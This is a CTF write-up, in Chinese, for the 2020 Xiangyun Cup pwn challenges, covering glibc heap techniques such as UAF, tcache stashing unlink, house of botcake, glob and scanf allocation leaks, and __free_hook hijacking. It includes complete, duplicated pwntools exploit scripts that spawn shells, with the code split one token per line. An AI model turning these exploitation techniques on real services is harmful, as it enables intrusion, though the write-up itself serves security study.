-
-
[原创]祥云杯2020 PWN 详解
-
发表于: 2020-11-26 15:16 9827
-
Written by ScUpax0s
glibc 2.31
漏洞点在delete函数free的时候只清空了 size表中的LOWBYTE,如果size表中记录的是0x100这样的,就相当于没清,造成UAF。
并且申请0xf9会返回0x110,相当于可以获得0x110的chunk的UAF以及重复利用。
最后打 tcache stashing unlink,往buf_addr写一个main_arena地址即可。
这题非预期解有点多啊。
add开0x60(最多add 11次)
free后UAF,配合edit随便修改free chunk的指针
show输出8字节内容
fun_glob如下:
由于使用了scanf函数,而scanf函数,会调用 _IO_vfscanf (s, fmt, ap, errp);其中s是stdin,最后_IO_file_doallocate会调用malloc一个0x400的空间,作为stdin的缓冲区,然后把读入的内容放入缓冲区。
但是如果我们输入大于0x400长度的数字,此时没法全部放到stdin缓冲区里。他会再申请一次0x800的缓冲区,然后把缓冲区1中的内容拷贝过去。然后最后会把第二块缓冲区free掉。我们可以利用0x800这次申请,将fastbin中的chunk合并,获得一个smallbin中的chunk,泄露libc地址。
main函数在一开始规定了add、free、edit等等的次数。但是 if(a){} 这样写的话,只有当a为0的时候不进if内,当a为负时会进if。所有所以可以在这个if里做一个减的溢出,这样我们add、edit、delete次数的限制就打开了(这里的break跳不出while循环,不知道是不是出题人故意留的漏洞)
然后bss的chunk table上方有stderr,可以错位构造一个0x7f把chunk申请过去,最后劫持chunk table打freehook传/bin/sh\x00即可
题目给了glob函数,而glob函数中 可以产生(但不一定) 一个很大的堆操作,可以获得一个大小为 0x8040的unsortedbi的chunk,再申请出来泄露地址即可。后面一样的。
调用链:
源码对应的在这里:
可以看到在 __alloc_dir 中一开始令:size_t allocation = default_allocation;而 default_allocation是 4 * BUFSIZ和sizeof (struct dirent64)中更大的那个。
最后malloc的大小为:sizeof (DIR) + allocation,DIR是目录结构体。
其中:
BUFSIZ为8192(0x2000)
经过实际调试这个sizeof(DIR)似乎是0x30。
经过我的测试,想要达成malloc(0x8030)我们可以通过给glob一个目录(带*通配),比如”./test/*“,或者exp*这种通配也可以。但是如果调用glob("exp.py")这种,就会越过 __alloc_dir 这一步操作。(翻译过来就是:“给目录分配空间orz”
而造成这个的原因在 glob_in_dir()
函数中使用:__glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE));
做了一次匹配。
源码如下:
其中调用了:__glob_pattern_type()
做匹配
所以这里就非常清楚了。当存在“ * ”时,__glob_pattern_type() 返回1,进入最后的else,调用opendir,最终malloc(0x8030)
之后还会有类似如下的多个调用,取决于你要找的目录下面的文件:
具体开了多大取决于你文件名。这些chunk存储的是文件名字符串。然后还会开一张表这张表存储每个strdup开出来的位置。
最后会调用free把strdup开出来的chunkk全部free掉。然后最终free掉那张表。
本题主要考察: house_of_botcake配合tcache 灵活利用。
house of botcake实际就是通过overlap一个chunk同时放入ub和tc中,然后错位切割,劫持指针来做任意地址申请。
本题我们首先通过把一个合并后的大chunk放入ub和tc,利用uaf泄露地址。然后malloc 0x20切割一次。
而由于此时我们已经切割了一次0x20了,那么当我们再从ub里申请0x100时就会申请到heap+0x290位置的chunk(0x100大小),而如果把这个申请回来。再free出去就实现了:0x290 -> 0x370,由于add一次可以read 0x100,此时就可以劫持0x370处的next指针。
效果如下:
之后打freehook起system('/bin/sh\x00')
漏洞链接:https://sourceware.org/bugzilla/show_bug.cgi?id=25733 (要求glibc<=2.26)
漏洞成因:malloc_consolidate重复调用,导致top_chunk = unsortebin
mallopt会调用 malloc_consolidate (av);
PoC.c如下:
static void malloc_consolidate(mstate av) 源码如下
当此时的max fast为0时,会做 malloc_init_state(av)
再做初始化。
此时,会将top chunk的指针设置成 bin本身的地址。
可以打一个watch在unsortedbin对应的地址上查看。
发现是 malloc_init_state(av);
中的这一条命令造成的:
initial_top相当于bin_at,所以本质就是重复初始化了一遍,相当于自己对自己做了一个赋值
再malloc一次大于0x400的可以拿到一个main_arena上的chunk
所以这道题就很像一个根据这个PoC打的一个模板题了。我本来的想法是,首先构造出这样的,top chunk,mallopt调整fastbin大小为largechunk的大小,然后free出去此时会被挂在一个evil addr,然后我们再申请过去改fastbin指针,然后申请evilfastbin的大小达到任意申请。但是发现不可行,因为ub的地址没有对齐到2*size_t。
不过既然我们已经可以申请到main_arena上也就是libc里(mapped)的地址,那么就可以直接申请直到freehook覆盖为system即可,而freehook会在验证对齐之前调用,所以不用担心对齐的问题了。
这道题是我认为本次比赛最好玩的一道题
详细的逆向可以推荐看我传上来的ida文件。
write函数输出的是 newest_Init->v_ptr
,但是当连续两次调用Init后,会free掉之前create创建的Init 对象。由于此时没有调用add,所以记录的还是free之前的,然后调用show即可泄露地址(此时now_Create_obj->newest_Init存的是smallbin的fd),可以一次泄露heap和libc
通过多次的重复Init() 配合 add() 可以实现任意地址写。最后劫持strtolog的got为system,发送sh即可。(实际测试可能要多试几次)
这个题指针有点多,建议画个图
个人对linux内核中的linux_digent64结构体的理解
dirent和DIR 结构体 --- 表示文件夹中目录内容信息
Linux下DIR,dirent,stat等结构体详解(转)
https://elixir.bootlin.com/glibc/glibc-2.23/source/posix/glob.c#L1459
https://sourceware.org/bugzilla/show_bug.cgi?id=25733
# encoding=utf-8
from
pwn
import
*
#from LibcSearcher import *
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path
=
"./pwn"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'4: Enjoy scenery'
# choice提示语
siz
=
'size:'
# size输入提示语
con
=
'chat:'
# content输入提示语
ind
=
'idx:'
# index输入提示语
edi
=
''
# edit输入提示语
def
add(size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size))
def
free(index,c
=
'2'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'4'
):
sal(cho,c)
sal(ind,
str
(index))
def
edit(index,content
=
'
',c='
3
'):
sal(cho,c)
sal(ind,
str
(index))
sa(con,content)
def
big(c
=
'666'
):
sal(cho,c)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
d():
pause()
def
exp():
global
io
io
=
process(elf_path)
#io = remote("112.126.71.170",43652)
ru(b
'A gift from ChangChun People\n'
)
buf_addr
=
((r(
len
(
'7f61db039000'
))))
buf_addr
=
int
(buf_addr.decode(),
16
)
success(
"buf_Addr:"
+
hex
(buf_addr))
#libc.address = buf_addr-0x232000
add(
0x100
)
#0
add(
0xf9
)
#1
add(
0x100
)
#2 # 0xf9对齐到0x110
#add(0x80) #2
free(
1
)
for
i
in
range
(
7
):
add(
0xf9
)
free(
1
)
free(
0
)
free(
2
)
big()
# (0x110)smallbin: #2 -> #0
# 用smallbin里的两个chunl拿到heap和libc
show(
2
)
ru(
"see\n"
)
heap
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
-
0x290
success(
"heap:"
+
hex
(heap))
show(
0
)
libc.address
=
u64(ru(
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
352
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
"libc base:"
+
hex
(libc.address))
#add(0x100) # 从满的tcahce里取一个,此时tcahce为6个
# First time in magic: malloc(0x108)
sl(
'5'
)
sl(
'a'
*
8
)
# (0x110)smallbin: #2 -> #0
# hijack #2's bk = buf_addr-0x10,并且保证 2's fd不变。因为要保证 bck->fd == victim(最后一个chunk)
edit(
2
,p64(heap
+
0x290
)
+
p64(buf_addr
-
0x10
))
add(
0x100
)
pause()
# 触发stashing,此时buf_addr被写上了bin的地址
bin_addr
=
0x1ebce0
+
libc.address
edit(
0
,p64(bin_addr))
sl(
'5'
)
sl(
'0'
)
# 此时0号chunk的一开始存了bin_addr
shell()
exp()
# encoding=utf-8
from
pwn
import
*
#from LibcSearcher import *
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path
=
"./pwn"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'4: Enjoy scenery'
# choice提示语
siz
=
'size:'
# size输入提示语
con
=
'chat:'
# content输入提示语
ind
=
'idx:'
# index输入提示语
edi
=
''
# edit输入提示语
def
add(size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size))
def
free(index,c
=
'2'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'4'
):
sal(cho,c)
sal(ind,
str
(index))
def
edit(index,content
=
'
',c='
3
'):
sal(cho,c)
sal(ind,
str
(index))
sa(con,content)
def
big(c
=
'666'
):
sal(cho,c)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
d():
pause()
def
exp():
global
io
io
=
process(elf_path)
#io = remote("112.126.71.170",43652)
ru(b
'A gift from ChangChun People\n'
)
buf_addr
=
((r(
len
(
'7f61db039000'
))))
buf_addr
=
int
(buf_addr.decode(),
16
)
success(
"buf_Addr:"
+
hex
(buf_addr))
#libc.address = buf_addr-0x232000
add(
0x100
)
#0
add(
0xf9
)
#1
add(
0x100
)
#2 # 0xf9对齐到0x110
#add(0x80) #2
free(
1
)
for
i
in
range
(
7
):
add(
0xf9
)
free(
1
)
free(
0
)
free(
2
)
big()
# (0x110)smallbin: #2 -> #0
# 用smallbin里的两个chunl拿到heap和libc
show(
2
)
ru(
"see\n"
)
heap
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
-
0x290
success(
"heap:"
+
hex
(heap))
show(
0
)
libc.address
=
u64(ru(
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
352
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
"libc base:"
+
hex
(libc.address))
#add(0x100) # 从满的tcahce里取一个,此时tcahce为6个
# First time in magic: malloc(0x108)
sl(
'5'
)
sl(
'a'
*
8
)
# (0x110)smallbin: #2 -> #0
# hijack #2's bk = buf_addr-0x10,并且保证 2's fd不变。因为要保证 bck->fd == victim(最后一个chunk)
edit(
2
,p64(heap
+
0x290
)
+
p64(buf_addr
-
0x10
))
add(
0x100
)
pause()
# 触发stashing,此时buf_addr被写上了bin的地址
bin_addr
=
0x1ebce0
+
libc.address
edit(
0
,p64(bin_addr))
sl(
'5'
)
sl(
'0'
)
# 此时0号chunk的一开始存了bin_addr
shell()
exp()
unsigned __int64 fun_glob()
{
signed
int
i;
/
/
[rsp
+
Ch] [rbp
-
104h
]
glob_t pglob;
/
/
[rsp
+
10h
] [rbp
-
100h
]
char pattern[
168
];
/
/
[rsp
+
60h
] [rbp
-
B0h]
unsigned __int64 v4;
/
/
[rsp
+
108h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
for
( i
=
0
; i <
=
0xA5
;
+
+
i )
{
read(
0
, &pattern[i],
1uLL
);
if
( pattern[i]
=
=
'\n'
)
{
pattern[i]
=
0
;
break
;
}
}
memset(&pglob,
0
, sizeof(pglob));
if
( !glob(pattern,
0x1002
,
0LL
, &pglob) )
globfree(&pglob);
return
__readfsqword(
0x28u
) ^ v4;
}
unsigned __int64 fun_glob()
{
signed
int
i;
/
/
[rsp
+
Ch] [rbp
-
104h
]
glob_t pglob;
/
/
[rsp
+
10h
] [rbp
-
100h
]
char pattern[
168
];
/
/
[rsp
+
60h
] [rbp
-
B0h]
unsigned __int64 v4;
/
/
[rsp
+
108h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
for
( i
=
0
; i <
=
0xA5
;
+
+
i )
{
read(
0
, &pattern[i],
1uLL
);
if
( pattern[i]
=
=
'\n'
)
{
pattern[i]
=
0
;
break
;
}
}
memset(&pglob,
0
, sizeof(pglob));
if
( !glob(pattern,
0x1002
,
0LL
, &pglob) )
globfree(&pglob);
return
__readfsqword(
0x28u
) ^ v4;
}
# encoding=utf-8
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path
=
"./ying_liu_zhi_zhu"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
''
# choice提示语
siz
=
''
# size输入提示语
con
=
''
# content输入提示语
ind
=
''
# index输入提示语
edi
=
''
# edit输入提示语
def
add(content
=
'
',c='
1
'):
sl(
'1'
)
def
free(index,c
=
'2'
):
sl(c)
sl(
str
(index))
def
show(index,c
=
'4'
):
sl(c)
sl(
str
(index))
def
edit(index,content
=
'
',c='
3
'):
sl(c)
sl(
str
(index))
s(content)
def
glob(
file
=
'
',c='
5
'):
sl(c)
sl(
str
(
file
))
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
exp():
global
io
io
=
process(elf_path)
add()
# 0
add()
# 1
add()
# 2
free(
0
)
free(
1
)
sl(
'4'
)
sl(
'9'
*
0x410
)
sl(
'4'
)
sl(
'4'
)
sl(
str
(
0
))
leak
=
u64(ru(
"\x7f"
)[
-
6
:].ljust(
8
,
'\x00'
))
libc.address
=
leak
-
296
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
"libc:"
+
hex
(libc.address))
if
libc.address >>
40
!
=
0x7F
:
raise
Exception(
'error leak!'
)
fake_addr
=
libc.sym[
'__malloc_hook'
]
-
0x23
#0x7ffff7dd1aed - 0x7ffff7a0d000 + libc.address
#success("mallochook-0x23:"+hex(fake_addr))
free(
1
)
edit(
1
,p64(fake_addr))
add()
#3
add()
#4
ogg
=
libc.address
+
0x4527a
realloc
=
libc.sym[
'realloc'
]
edit(
4
,
'a'
*
0xb
+
p64(ogg)
+
p64(realloc
+
4
))
add()
shell()
# exp()
while
(
1
):
try
:
exp()
io.close()
except
Exception:
io.close()
# encoding=utf-8
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path
=
"./ying_liu_zhi_zhu"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
''
# choice提示语
siz
=
''
# size输入提示语
con
=
''
# content输入提示语
ind
=
''
# index输入提示语
edi
=
''
# edit输入提示语
def
add(content
=
'
',c='
1
'):
sl(
'1'
)
def
free(index,c
=
'2'
):
sl(c)
sl(
str
(index))
def
show(index,c
=
'4'
):
sl(c)
sl(
str
(index))
def
edit(index,content
=
'
',c='
3
'):
sl(c)
sl(
str
(index))
s(content)
def
glob(
file
=
'
',c='
5
'):
sl(c)
sl(
str
(
file
))
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
exp():
global
io
io
=
process(elf_path)
add()
# 0
add()
# 1
add()
# 2
free(
0
)
free(
1
)
sl(
'4'
)
sl(
'9'
*
0x410
)
sl(
'4'
)
sl(
'4'
)
sl(
str
(
0
))
leak
=
u64(ru(
"\x7f"
)[
-
6
:].ljust(
8
,
'\x00'
))
libc.address
=
leak
-
296
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
"libc:"
+
hex
(libc.address))
if
libc.address >>
40
!
=
0x7F
:
raise
Exception(
'error leak!'
)
fake_addr
=
libc.sym[
'__malloc_hook'
]
-
0x23
#0x7ffff7dd1aed - 0x7ffff7a0d000 + libc.address
#success("mallochook-0x23:"+hex(fake_addr))
free(
1
)
edit(
1
,p64(fake_addr))
add()
#3
add()
#4
ogg
=
libc.address
+
0x4527a
realloc
=
libc.sym[
'realloc'
]
edit(
4
,
'a'
*
0xb
+
p64(ogg)
+
p64(realloc
+
4
))
add()
shell()
# exp()
while
(
1
):
try
:
exp()
io.close()
except
Exception:
io.close()
# encoding=utf-8
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path
=
"./ying_liu_zhi_zhu"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
''
# choice提示语
siz
=
''
# size输入提示语
con
=
''
# content输入提示语
ind
=
''
# index输入提示语
edi
=
''
# edit输入提示语
def
add(content
=
'
',c='
1
'):
sl(
'1'
)
def
free(index,c
=
'2'
):
sl(c)
sl(
str
(index))
def
show(index,c
=
'4'
):
sl(c)
sl(
str
(index))
def
edit(index,content
=
'
',c='
3
'):
sl(c)
sl(
str
(index))
s(content)
def
glob(
file
=
'
',c='
5
'):
sl(c)
sl(
str
(
file
))
def
exp():
global
io
io
=
process(elf_path)
#io = remote("8.131.69.237",45123)
#io = remote("112.126.71.170",45123)
# free、edit次数溢出
for
i
in
range
(
5
):
free(
11
)
for
i
in
range
(
5
):
edit(
11
)
add()
# 0
add()
# 1
free(
0
)
free(
'1'
*
0x400
)
#shell()
show(
0
)
libc.address
=
u64(
r(
6
).ljust(
8
,
'\x00'
)
)
-
184
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
"libc:"
+
hex
(libc.address))
mh
=
libc.sym[
'__malloc_hook'
]
fh
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
add()
#2 smallbin里的拿回来, #2 = #0
free(
1
)
free(
2
)
edit(
2
,p64(
0x60203d
))
# chunk list上方是stderr指针,有一个0x7f的大数,可以申请到chunk list
add()
add()
add()
success(
"fh:"
+
hex
(fh))
edit(
8
,
'\x00'
*
0x13
+
p64(fh))
edit(
0
,p64(system))
edit(
1
,
'/bin/sh\x00'
)
# free(1)
#pause()
free(
1
)
shell() .
exp()
# encoding=utf-8
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path
=
"./ying_liu_zhi_zhu"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
''
# choice提示语
siz
=
''
# size输入提示语
con
=
''
# content输入提示语
ind
=
''
# index输入提示语
edi
=
''
# edit输入提示语
def
add(content
=
'
',c='
1
'):
sl(
'1'
)
def
free(index,c
=
'2'
):
sl(c)
sl(
str
(index))
def
show(index,c
=
'4'
):
sl(c)
sl(
str
(index))
def
edit(index,content
=
'
',c='
3
'):
sl(c)
sl(
str
(index))
s(content)
def
glob(
file
=
'
',c='
5
'):
sl(c)
sl(
str
(
file
))
def
exp():
global
io
io
=
process(elf_path)
#io = remote("8.131.69.237",45123)
#io = remote("112.126.71.170",45123)
# free、edit次数溢出
for
i
in
range
(
5
):
free(
11
)
for
i
in
range
(
5
):
edit(
11
)
add()
# 0
add()
# 1
free(
0
)
free(
'1'
*
0x400
)
#shell()
show(
0
)
libc.address
=
u64(
r(
6
).ljust(
8
,
'\x00'
)
)
-
184
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
"libc:"
+
hex
(libc.address))
mh
=
libc.sym[
'__malloc_hook'
]
fh
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
add()
#2 smallbin里的拿回来, #2 = #0
free(
1
)
free(
2
)
edit(
2
,p64(
0x60203d
))
# chunk list上方是stderr指针,有一个0x7f的大数,可以申请到chunk list
add()
add()
add()
success(
"fh:"
+
hex
(fh))
edit(
8
,
'\x00'
*
0x13
+
p64(fh))
edit(
0
,p64(system))
edit(
1
,
'/bin/sh\x00'
)
# free(1)
#pause()
free(
1
)
shell() .
exp()
global
io
io
=
process(elf_path)
glob(
"*"
)
pause()
add()
# 0
add(
1
)
#1
show(
1
)
libc.address
=
u64(ru(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x10
-
libc.sym[
'__malloc_hook'
]
-
1960
success(
"libc:"
+
hex
(libc.address))
global
io
io
=
process(elf_path)
glob(
"*"
)
pause()
add()
# 0
add(
1
)
#1
show(
1
)
libc.address
=
u64(ru(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x10
-
libc.sym[
'__malloc_hook'
]
-
1960
success(
"libc:"
+
hex
(libc.address))
DIR
*
internal_function
__alloc_dir (
int
fd,
bool
close_fd,
int
flags, const struct stat64
*
statp)
{
{
if
(__builtin_expect (__fcntl (fd, F_SETFD, FD_CLOEXEC),
0
) <
0
)
goto lose;
}
const size_t default_allocation
=
(
4
*
BUFSIZ < sizeof (struct dirent64)
? sizeof (struct dirent64) :
4
*
BUFSIZ);
const size_t small_allocation
=
(BUFSIZ < sizeof (struct dirent64)
? sizeof (struct dirent64) : BUFSIZ);
size_t allocation
=
default_allocation;
DIR
*
dirp
=
(
DIR
*
) malloc (sizeof (
DIR
)
+
allocation);
DIR
*
internal_function
__alloc_dir (
int
fd,
bool
close_fd,
int
flags, const struct stat64
*
statp)
{
{
if
(__builtin_expect (__fcntl (fd, F_SETFD, FD_CLOEXEC),
0
) <
0
)
goto lose;
}
const size_t default_allocation
=
(
4
*
BUFSIZ < sizeof (struct dirent64)
? sizeof (struct dirent64) :
4
*
BUFSIZ);
const size_t small_allocation
=
(BUFSIZ < sizeof (struct dirent64)
? sizeof (struct dirent64) : BUFSIZ);
size_t allocation
=
default_allocation;
DIR
*
dirp
=
(
DIR
*
) malloc (sizeof (
DIR
)
+
allocation);
struct dirent64
{
__ino64_t d_ino;
unsigned short
int
d_reclen;
unsigned char d_type;
unsigned char d_namlen;
char d_name[
1
];
};
struct dirent64
{
__ino64_t d_ino;
unsigned short
int
d_reclen;
unsigned char d_type;
unsigned char d_namlen;
char d_name[
1
];
};
struct __dirstream
{
void
*
__fd;
char
*
__data;
int
__entry_data;
char
*
__ptr;
int
__entry_ptr;
size_t __allocation;
size_t __size;
__libc_lock_define (, __lock)
};
typedef struct __dirstream
DIR
;
struct __dirstream
{
void
*
__fd;
char
*
__data;
int
__entry_data;
char
*
__ptr;
int
__entry_ptr;
size_t __allocation;
size_t __size;
__libc_lock_define (, __lock)
};
typedef struct __dirstream
DIR
;
static
int
glob_in_dir (const char
*
pattern, const char
*
directory,
int
flags,
int
(
*
errfunc) (const char
*
,
int
),
glob_t
*
pglob, size_t alloca_used)
{
size_t dirlen
=
strlen (directory);
void
*
stream
=
NULL;
/
*
这里省略一大串
*
/
meta
=
__glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE));
/
/
进行判断
or
匹配
if
(meta
=
=
0
&& (flags & (GLOB_NOCHECK|GLOB_NOMAGIC)))
/
/
第一种情况
{
flags |
=
GLOB_NOCHECK;
}
else
if
(meta
=
=
0
)
/
/
第二种情况
{
/
*
省略
*
/
}
else
/
/
最后一种情况,就是在这里调用了opendir!
{
stream
=
(__builtin_expect (flags & GLOB_ALTDIRFUNC,
0
)
? (
*
pglob
-
>gl_opendir) (directory)
: opendir (directory));
static
int
glob_in_dir (const char
*
pattern, const char
*
directory,
int
flags,
int
(
*
errfunc) (const char
*
,
int
),
glob_t
*
pglob, size_t alloca_used)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)